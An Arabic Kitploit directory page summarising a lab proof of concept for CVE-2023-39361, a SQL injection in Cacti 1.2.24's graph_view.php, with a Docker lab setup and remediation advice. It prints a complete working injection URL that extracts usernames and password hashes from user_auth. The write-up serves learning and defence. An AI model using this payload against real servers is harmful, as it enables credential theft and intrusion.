Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-39361 — استغلال إثبات المفهوم لـ Cacti 1.2.24 لحقن SQL في graph_view.php يؤدي إلى تنفيذ تعليمات برمجية عن بُعد، مع إعداد مختبر مبني على Docker وأمثلة مفصلة للحمولة. | Kitploit
أدوات/GitHubGitHub/chodeokcheol/cve-2023-39361
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

استغلال إثبات المفهوم لـ Cacti 1.2.24 لحقن SQL في graph_view.php يؤدي إلى تنفيذ تعليمات برمجية عن بُعد، مع إعداد مختبر مبني على Docker وأمثلة مفصلة للحمولة.

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Cacti graph_view.php SQL Injection يؤدي إلى RCE [CVE-2023-39361]

[ WHS 3기 ] - 남기찬_7342 (ChoDeokCheol)


ملخص

  • يوجد ثغرة في دالة grow_right_pane_tree في ملف graph_view.php داخل خادم Cacti 1.2.24.
  • عند تعيين معامل action إلى tree_content، يوجد معامل rfilter الذي يأتي من إدخال المستخدم.
  • يتم التحقق من معامل rfilter عبر دالة html_validate_tree_vars، لكن هذا التحقق يفحص فقط ما إذا كان تعبيرًا منتظمًا صالحًا.
  • في النهاية، يتم إدخال قيمة rfilter في استعلام SQL مما يتيح إدراج كود.
  • يمكن استخراج قيم مثل id وusername وما إلى ذلك (المستخدمة في هذا الـ PoC).

الإعدادات المسبقة

  • التحقق من وجود Docker Compose وإصداره عبر docker-compose -v.
  • تجهيز مكونات Docker اللازمة لتكوين CVE-2023-39361 (مثل yml أو الصور).

تكوين البيئة وتشغيلها

  • استخدام cacti/CVE-2023-39361/docker-compose.yml و entrypoint.sh داخل vulhub.
  • بناء بيئة الـ PoC عبر docker compose up -d (الصورة: cacti:1.2.24).
  • بناء خادم Cacti على المنفذ 8080:80 وفقًا للـ localhost المحدد في ملف yml. بناء بيئة PoC لـ Docker بناء خادم Cacti

إثبات المفهوم (PoC) للثغرة

  • تحدث هذه الثغرة عندما يتم ضبط إعدادات المصادقة للسماح للمستخدمين العاديين (الضيوف) بمشاهدة الرسوم البيانية.

  • يمكن التحقق من الثغرة عبر إدخال المعاملات التالية:

    • %20OR%20""="((" : كود SQL Injection نموذجي يجبر الشرط على أن يكون صحيحًا عبر OR.
    • %20UNION%20SELECT% : لجلب نتائج عشوائية مرغوبة.
    • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : يطلب قيمة id#username#password.
    • (select%20user()),(select%20version()) : لجلب مستخدم / إصدار قاعدة البيانات.
    • %23 : يمثل # مما يعطل جزء الاستعلام التالي.

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


النتيجة

تشغيل Burp Suite والاستجابة يُلاحظ أن الخادم استجاب كما هو مطلوب.


الخلاصة

هجمات SQL injection تحدث غالبًا أثناء تفاعل الخادم مع إدخال المستخدم. من خلال هجوم SQL injection هذا، تم انتهاك سرية قاعدة البيانات الداخلية، وأسفر ذلك عن تسرب الأصول.
كإجراء لمعالجة هذه الثغرة، يمكن التحقق من صحة قيمة rfilter باستخدام قائمة بيضاء أساسية أو الهروب من الأحرف الخاصة مثل (", ', ;, ...). أو يمكن تحسين النظام باستخدام مكتبات ORM مثل Doctrine عند الوصول إلى قاعدة البيانات.

تنزيل الأداة